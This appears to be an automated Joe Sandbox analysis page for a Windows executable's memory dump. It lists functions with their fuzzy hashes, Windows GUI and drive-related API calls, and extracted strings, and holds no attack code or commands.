Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8796869ba0ff200981f3c8b4e50b33a6e54c2853832a264e2eb0800a33b39bf
Instruction ID: 93ea5acfb62d9da8d7439500d983824c2c99c1bf1d17cb132e1edcf49efe0cb8
Opcode Fuzzy Hash: d8796869ba0ff200981f3c8b4e50b33a6e54c2853832a264e2eb0800a33b39bf
Instruction Fuzzy Hash: 31528132E3A65281FF24DF259A586BD3359EF85B84F158536DA0D87A86CF3CE440E342

Function 00007FF62921B390 Relevance: .7, Instructions: 682COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 37be43e2159a7a5f12ed6e638a5f9fbb193c8301d54815e0f563e4172ea09bfa
Instruction ID: e8d866631a382cb90ab972f20dc300bac4bffbf594b9513c5c9bfbf92804f5ab
Opcode Fuzzy Hash: 37be43e2159a7a5f12ed6e638a5f9fbb193c8301d54815e0f563e4172ea09bfa
Instruction Fuzzy Hash: B752AA72B2AA428AFF10DF65DA442BC33B1EB85B98F004235DE1D9779ACF39E4159341

Function 00007FF62921B9F0 Relevance: .6, Instructions: 577COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2428b1a41b9dab0837923aee02f6dd20d06634fc1108aa9b555873352bd9b52
Instruction ID: 675a1100fd7e4222cc71d5be8788a23825293548b078edd4664e00fcae14253a
Opcode Fuzzy Hash: a2428b1a41b9dab0837923aee02f6dd20d06634fc1108aa9b555873352bd9b52
Instruction Fuzzy Hash: D242CC32A2A78286FF14DF29D9802AD37A0FB85798F604135DE4D87B9ACF39E451D701

Function 00007FF6292430DC Relevance: .5, Instructions: 535COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44e0bcb64cdb213a1ae13f0197e832722533c3c8cf9ea28823a7f9588fce5fb2
Instruction ID: 85211e383b8aabbd63d533769d820ca0baab952c69912fcf0442711174d0b692
Opcode Fuzzy Hash: 44e0bcb64cdb213a1ae13f0197e832722533c3c8cf9ea28823a7f9588fce5fb2
Instruction Fuzzy Hash: 5B422F21D3AE4A85FA538F75AE115757728BF953C0F029337E80EF6690DF2CE446A602

Function 00007FF629256DE4 Relevance: .2, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 8d8f3e37eadd19746a70c291c5831625e20ba123285d38ae931568fef80f1606
Instruction ID: 89c8093b94ef6851010e9c3b6242f318de7c9a1c3cfb75e5f50db2e442f8e071
Opcode Fuzzy Hash: 8d8f3e37eadd19746a70c291c5831625e20ba123285d38ae931568fef80f1606
Instruction Fuzzy Hash: 7B71C622E2A24247FF7C8E299E8077972C1ABC0370F144634DA5EC66D9DF7DE841A602

Function 00007FF629291A18 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2308bd2b59363eb380d9f2aadf6ae7fcc9e74111fd97fe2ff68e231cb56cb52
Instruction ID: 1ccd4b3d871eed80cb579eaeb288b6567dd1081b111c1fd3776559cda009e88a
Opcode Fuzzy Hash: c2308bd2b59363eb380d9f2aadf6ae7fcc9e74111fd97fe2ff68e231cb56cb52
Instruction Fuzzy Hash: 1721A133A2554586FB09CF76D8526B933E5A3A4708F18C13AD52B87284CE3CE905C781

Function 00007FF62924FD20 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4e4605b7b007d95894f61c83fec82003118576a017aad510c5c4214a882ee24
Instruction ID: a630b1f8d6bf7ccad05fe0fabbecebb475584b8889d16ee7b20116ec680bb4f5
Opcode Fuzzy Hash: f4e4605b7b007d95894f61c83fec82003118576a017aad510c5c4214a882ee24
Instruction Fuzzy Hash: A1F04471B292658AEB94CF2CA942A697790E74C384B508039DA89C3E44DE3C90509F05

Function 00007FF6292359C8 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06a18b8ad93dc8222913c3b18848eb7fe0d0fd2f3d8a242d5e2f0303cc3a2d96
Instruction ID: a49c4570d814abf1662f49e3cbc128ac249d3fca53c856d61baab13d1c5f51d7
Opcode Fuzzy Hash: 06a18b8ad93dc8222913c3b18848eb7fe0d0fd2f3d8a242d5e2f0303cc3a2d96
Instruction Fuzzy Hash: AAA0012592F80294FA048F10AE508603268AB90310B620472E00D815A19F3CE480A746

Function 00007FF6292BE95C Relevance: 49.7, APIs: 33, Instructions: 231windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32 ref: 00007FF6292BE9C4
SetTextColor.GDI32 ref: 00007FF6292BE9CF
GetSysColorBrush.USER32 ref: 00007FF6292BE9E8
GetSysColor.USER32 ref: 00007FF6292BE9FA
SetBkColor.GDI32 ref: 00007FF6292BEA1B
SelectObject.GDI32 ref: 00007FF6292BEA2A
InflateRect.USER32 ref: 00007FF6292BEA4F
GetSysColor.USER32 ref: 00007FF6292BEA5A
CreateSolidBrush.GDI32(?,?,?,?,?,00000000,?,?,?,?,?,00007FF6292C120A,?,?,?,00007FF62925AA77), ref: 00007FF6292BEA62
FrameRect.USER32 ref: 00007FF6292BEA75
DeleteObject.GDI32 ref: 00007FF6292BEA7E
InflateRect.USER32 ref: 00007FF6292BEAD3
FillRect.USER32 ref: 00007FF6292BEB03
GetWindowLongW.USER32 ref: 00007FF6292BEB22
SendMessageW.USER32 ref: 00007FF6292BEB6F

Part of subcall function 00007FF6292BECB4: GetSysColor.USER32 ref: 00007FF6292BECFB
Part of subcall function 00007FF6292BECB4: SetTextColor.GDI32 ref: 00007FF6292BED06
Part of subcall function 00007FF6292BECB4: GetSysColorBrush.USER32 ref: 00007FF6292BED21
Part of subcall function 00007FF6292BECB4: GetSysColor.USER32 ref: 00007FF6292BED34
Part of subcall function 00007FF6292BECB4: GetSysColor.USER32 ref: 00007FF6292BED5F
Part of subcall function 00007FF6292BECB4: CreatePen.GDI32 ref: 00007FF6292BED76
Part of subcall function 00007FF6292BECB4: SelectObject.GDI32 ref: 00007FF6292BED87
Part of subcall function 00007FF6292BECB4: SetBkColor.GDI32 ref: 00007FF6292BED97
Part of subcall function 00007FF6292BECB4: SelectObject.GDI32 ref: 00007FF6292BEDAA
Part of subcall function 00007FF6292BECB4: InflateRect.USER32 ref: 00007FF6292BEDD1
Part of subcall function 00007FF6292BECB4: RoundRect.GDI32 ref: 00007FF6292BEDFD
Part of subcall function 00007FF6292BECB4: GetWindowLongW.USER32 ref: 00007FF6292BEE0B

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameMessageRoundSendSolid
String ID:
API String ID: 3521893082-0
Opcode ID: ef7366886db55824d460b1c50baab5321c9adbfaa8eab0a2c69b3322450da6b5
Instruction ID: 7ffb014bf07b935c06ecc86ae5178ced01d269025244cd9f06c6cf3ac27e779f
Opcode Fuzzy Hash: ef7366886db55824d460b1c50baab5321c9adbfaa8eab0a2c69b3322450da6b5
Instruction Fuzzy Hash: A8A1A122F29A0286FF148F629E5467D77A5BB88B64F114234DE2E93BD4DF3CD4449382

Function 00007FF629294F30 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 247COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 00007FF629294F61
GetDriveTypeW.KERNEL32 ref: 00007FF6292950BE
SetErrorMode.KERNEL32 ref: 00007FF6292952A3

Strings

PhysicalDrive, xrefs: 00007FF629294FF5
ATAPI, xrefs: 00007FF6292951F0
\\.\, xrefs: 00007FF629294FAE
Virtual, xrefs: 00007FF629295231
SCSI, xrefs: 00007FF6292951F9
SATA, xrefs: 00007FF62929524C
ATA, xrefs: 00007FF6292951E7
Fixed, xrefs: 00007FF629295111
SAS, xrefs: 00007FF629295255
RAID, xrefs: 00007FF629295202
MMC, xrefs: 00007FF62929523A
SSD, xrefs: 00007FF62929515D
Removable, xrefs: 00007FF62929511D
iSCSI, xrefs: 00007FF62929525E
Unknown, xrefs: 00007FF6292950E1
1394, xrefs: 00007FF6292951DE
USB, xrefs: 00007FF6292951BA
Network, xrefs: 00007FF629295105
FileBackedVirtual, xrefs: 00007FF629295228
RAMDisk, xrefs: 00007FF6292950ED
Fibre, xrefs: 00007FF6292951C6
SSA, xrefs: 00007FF6292951D2
CDROM, xrefs: 00007FF6292950F9

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: 94db47e06bd0190674c94e1b1137c27149ea748c604d997c0ecd6c7b010eced7
Instruction ID: 1584c3a6f455e7966d0832943545946bf65424620ba32e19796ff530751dbfaa
Opcode Fuzzy Hash: 94db47e06bd0190674c94e1b1137c27149ea748c604d997c0ecd6c7b010eced7
Instruction Fuzzy Hash: F8B15E21F2FA0290FF549F25DE845B83369BFC4784BA48132DD0E87699DF2DE945A302

Function 00007FF6292BECB4 Relevance: 39.2, APIs: 26, Instructions: 179windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32 ref: 00007FF6292BECFB
SetTextColor.GDI32 ref: 00007FF6292BED06
GetSysColorBrush.USER32 ref: 00007FF6292BED21
GetSysColor.USER32 ref: 00007FF6292BED34
CreateSolidBrush.GDI32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF6292BE98C), ref: 00007FF6292BED3E
GetSysColor.USER32 ref: 00007FF6292BED5F
CreatePen.GDI32 ref: 00007FF6292BED76
SelectObject.GDI32 ref: 00007FF6292BED87
SetBkColor.GDI32 ref: 00007FF6292BED97
SelectObject.GDI32 ref: 00007FF6292BEDAA
InflateRect.USER32 ref: 00007FF6292BEDD1
RoundRect.GDI32 ref: 00007FF6292BEDFD
GetWindowLongW.USER32 ref: 00007FF6292BEE0B
SendMessageW.USER32 ref: 00007FF6292BEE58
GetWindowTextW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF6292BE98C), ref: 00007FF6292BEE90
InflateRect.USER32 ref: 00007FF6292BEEB3
DrawFocusRect.USER32 ref: 00007FF6292BEEC1
GetSysColor.USER32 ref: 00007FF6292BEED0
SetTextColor.GDI32 ref: 00007FF6292BEEDB
DrawTextW.USER32 ref: 00007FF6292BEEF9
SelectObject.GDI32 ref: 00007FF6292BEF17
DeleteObject.GDI32 ref: 00007FF6292BEF25
SelectObject.GDI32 ref: 00007FF6292BEF33
DeleteObject.GDI32 ref: 00007FF6292BEF3E
SetTextColor.GDI32 ref: 00007FF6292BEF4A
SetBkColor.GDI32 ref: 00007FF6292BEF5A

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: be73899effbf77ebd9d54faa89356d5f551f326618c8bd974714f6933a768820
Instruction ID: 3656b74d4b5c8cb328a0a451c9b84eb44767b526839b8750ebda1d9a6bbf4318
Opcode Fuzzy Hash: be73899effbf77ebd9d54faa89356d5f551f326618c8bd974714f6933a768820
Instruction Fuzzy Hash: 33719136A2DA4186FB249F21AD54A7AB3A5FBC8BA0F014234DD5E837D4DF3CD4449742

Function 00007FF629282C10 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 175windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32 ref: 00007FF629282C3E
SendMessageW.USER32 ref: 00007FF629282C56
SetWindowTextW.USER32 ref: 00007FF629282C6F
GetDlgItem.USER32 ref: 00007FF629282C87
SetWindowTextW.USER32 ref: 00007FF629282C94
GetDlgItem.USER32 ref: 00007FF629282CAE
SetWindowTextW.USER32 ref: 00007FF629282CBB
SendDlgItemMessageW.USER32 ref: 00007FF629282CE0
SendDlgItemMessageW.USER32 ref: 00007FF629282D03
GetWindowRect.USER32 ref: 00007FF629282D14
SetWindowTextW.USER32 ref: 00007FF629282DB5
GetDesktopWindow.USER32 ref: 00007FF629282DBB
GetWindowRect.USER32 ref: 00007FF629282DC8
MoveWindow.USER32 ref: 00007FF629282E20
GetClientRect.USER32 ref: 00007FF629282E31
PostMessageW.USER32 ref: 00007FF629282E60
SetTimer.USER32 ref: 00007FF629282E91

Strings

@, xrefs: 00007FF629282DD7

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
String ID: @
API String ID: 3869813825-2766056989
Opcode ID: b82c187733dd5023c28d903207b62df0d5996a373ba8083c7f15af3311f57f4a
Instruction ID: cb012878dfcd19d0d359ef6f80fd039be5d474333f0fc4f4cb105dc1a7932bff
Opcode Fuzzy Hash: b82c187733dd5023c28d903207b62df0d5996a373ba8083c7f15af3311f57f4a
Instruction Fuzzy Hash: 13819B32A2AA4286FB00DF75DA5466D33A4FB84BC8F404131CE0EA7B98DF38D945D711

Function 00007FF629212620 Relevance: 28.7, APIs: 19, Instructions: 201COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF629212750: GetWindowLongPtrW.USER32 ref: 00007FF629212766

GetSysColor.USER32 ref: 00007FF629212663
GetSysColor.USER32 ref: 00007FF6292126F8
SetTextColor.GDI32 ref: 00007FF629212703
SetBkMode.GDI32 ref: 00007FF629212718
GetStockObject.GDI32 ref: 00007FF629212723
GetSysColor.USER32 ref: 00007FF62925A84E
GetWindowLongW.USER32 ref: 00007FF62925A863
SetBkColor.GDI32 ref: 00007FF62925A940

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Color$LongWindow$ModeObjectStockText
String ID:
API String ID: 554392163-0
Opcode ID: 75ec6bcd28a8efb3125b08e197a7caecd4c99aa61c3caa47667afd5c8d51fa7a
Instruction ID: 6a87e7b72e86198d045175e2e82590fcff3b288f0d4d6934439f9eb4baf8089c
Opcode Fuzzy Hash: 75ec6bcd28a8efb3125b08e197a7caecd4c99aa61c3caa47667afd5c8d51fa7a
Instruction Fuzzy Hash: 6B814621D2E55282FF348F299E486793392EFC6750F450231D99D832E8DF3DE846AB02

Function 00007FF6292C1254 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 162windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF629212A54: GetWindowLongPtrW.USER32 ref: 00007FF629212A71

DragQueryPoint.SHELL32 ref: 00007FF6292C1298

Part of subcall function 00007FF6292BF014: ClientToScreen.USER32(00000000,?,?,?,?,00007FF6292C0BC9), ref: 00007FF6292BF054
Part of subcall function 00007FF6292BF014: GetWindowRect.USER32(?,?,?,?,00007FF6292C0BC9), ref: 00007FF6292BF0E3
Part of subcall function 00007FF6292BF014: PtInRect.USER32 ref: 00007FF6292BF0F3

SendMessageW.USER32 ref: 00007FF6292C130F
DragQueryFileW.SHELL32 ref: 00007FF6292C1321
DragQueryFileW.SHELL32 ref: 00007FF6292C1347
wcscat.LIBCMT ref: 00007FF6292C137B
SendMessageW.USER32 ref: 00007FF6292C1392
SendMessageW.USER32 ref: 00007FF6292C13AC
SendMessageW.USER32 ref: 00007FF6292C13C4
SendMessageW.USER32 ref: 00007FF6292C13E9
DragFinish.SHELL32 ref: 00007FF6292C13F2
DefDlgProcW.USER32 ref: 00007FF6292C1520

Strings

@GUI_DROPID, xrefs: 00007FF6292C1415
@GUI_DRAGID, xrefs: 00007FF6292C146B
@GUI_DRAGFILE, xrefs: 00007FF6292C14B4

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreenwcscat
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
API String ID: 2091158083-3440237614
Opcode ID: 7c2f099bf0a5769a0aea507f3e3fb0e9d810cef93c6a9b2b7ff31669fef11a09
Instruction ID: 3a10e54e3a4f3cd49f6b616d548d7c76b423810893802c06e6ff0c203d9d7a23
Opcode Fuzzy Hash: 7c2f099bf0a5769a0aea507f3e3fb0e9d810cef93c6a9b2b7ff31669fef11a09
Instruction Fuzzy Hash: 8B713D32629A8296FB10DF25ED547E97720FBC4794F800032EA4E87A99CF7CD149D741

Function 00007FF629293FD0 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 197COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32 ref: 00007FF629294077
GetDriveTypeW.KERNEL32 ref: 00007FF629294162
mciSendStringW.WINMM ref: 00007FF6292941AA
mciSendStringW.WINMM ref: 00007FF6292941F1
mciSendStringW.WINMM ref: 00007FF629294229

Strings

close, xrefs: 00007FF62929407D
wait, xrefs: 00007FF6292941D5
open , xrefs: 00007FF629294171
closed, xrefs: 00007FF62929408C
close cd wait, xrefs: 00007FF62929420D
set cd door , xrefs: 00007FF6292941B8
open, xrefs: 00007FF6292940DC
type cdaudio alias cd wait, xrefs: 00007FF62929418E

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: SendString$BuffCharDriveLowerType
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 1600147383-4113822522
Opcode ID: c97716080e4f543c9a20482f6ee2b28a1c64bce64f7816063184408ee6a3b085
Instruction ID: 7a51cc9eb85a23f7532b380986372be7f381e9c66abaa278a498663f1a29caa9
Opcode Fuzzy Hash: c97716080e4f543c9a20482f6ee2b28a1c64bce64f7816063184408ee6a3b085
Instruction Fuzzy Hash: E3818B22B2AA2685FF109F65DE502BC33A1FB94B88B604431CE4D87B95DF3DE946D341

Function 00007FF6292C0118 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 175windowlibraryCOMMON

Download Yara Rule

APIs

LoadImageW.USER32 ref: 00007FF6292C0201
LoadLibraryExW.KERNEL32 ref: 00007FF6292C026C
LoadImageW.USER32 ref: 00007FF6292C02B0
LoadImageW.USER32 ref: 00007FF6292C02EB
LoadImageW.USER32 ref: 00007FF6292C032F
FreeLibrary.KERNEL32 ref: 00007FF6292C033C
ExtractIconExW.SHELL32 ref: 00007FF6292C034E
DestroyIcon.USER32 ref: 00007FF6292C0360
SendMessageW.USER32 ref: 00007FF6292C037F
SendMessageW.USER32 ref: 00007FF6292C0397

